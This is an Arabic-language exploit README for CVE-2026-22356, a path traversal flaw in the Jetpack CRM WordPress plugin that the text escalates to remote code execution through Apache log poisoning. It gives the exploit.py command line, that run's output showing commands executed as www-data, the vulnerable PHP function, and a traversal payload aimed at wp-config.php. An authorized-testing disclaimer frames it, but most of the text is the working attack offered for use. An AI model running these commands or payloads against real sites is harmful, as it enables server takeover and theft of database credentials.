
CVE-2026-22356: ثغرة اجتياز المسار في Jetpack CRM وRCE
تحذير: يجب استخدام هذه الأداة فقط في بيئات الاختبار المصرح بها. المستخدم مسؤول تمامًا عن أي استخدام غير قانوني.
pip3 install requests urllib3
$ python3 exploit.py https://example.com --rce --cmd "id"
[+] Target is VULNERABLE to LFI!
[*] Attempting Log Poisoning for RCE...
[*] Searching for accessible log files...
[*] Trying: ../../../../var/log/apache2/access.log
[+] Found accessible log file: ../../../../var/log/apache2/access.log
[*] Poisoning log file: ../../../../var/log/apache2/access.log
[+] Payload injected into log file.
[*] Executing command: id
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
function jpcrm_load_admin_page( $page_name, $alt_path = ZEROBSCRM_PATH ) {
$target_file = $alt_path . "admin/$page_name.page.php";
if ( file_exists( $target_file ) ) {
require_once $target_file;
}
}
في هذا الكود، يُستخدم $page_name مباشرة دون أي تحقق، لذا يمكن للمهاجم إرسال page=../../../wp-config.php%00 لإطلاق استدعاء require_once("admin/../../../wp-config.php%00.page.php"). عندما يفسر PHP البايت الفارغ (null byte) على أنه نهاية اسم الملف، يتم تنفيذ ملف wp-config.php.
في الإصدار 6.7.1، تم إصلاح هذا الكود بإضافة فحوصات realpath() و strpos().
أُعدّ هذا المستند لمساعدتك على فهم ثغرة CVE-2026-22356 واستخدامها في اختباراتك المصرح بها. الاستخدام المخالف للقانون يقع بالكامل على مسؤولية المستخدم.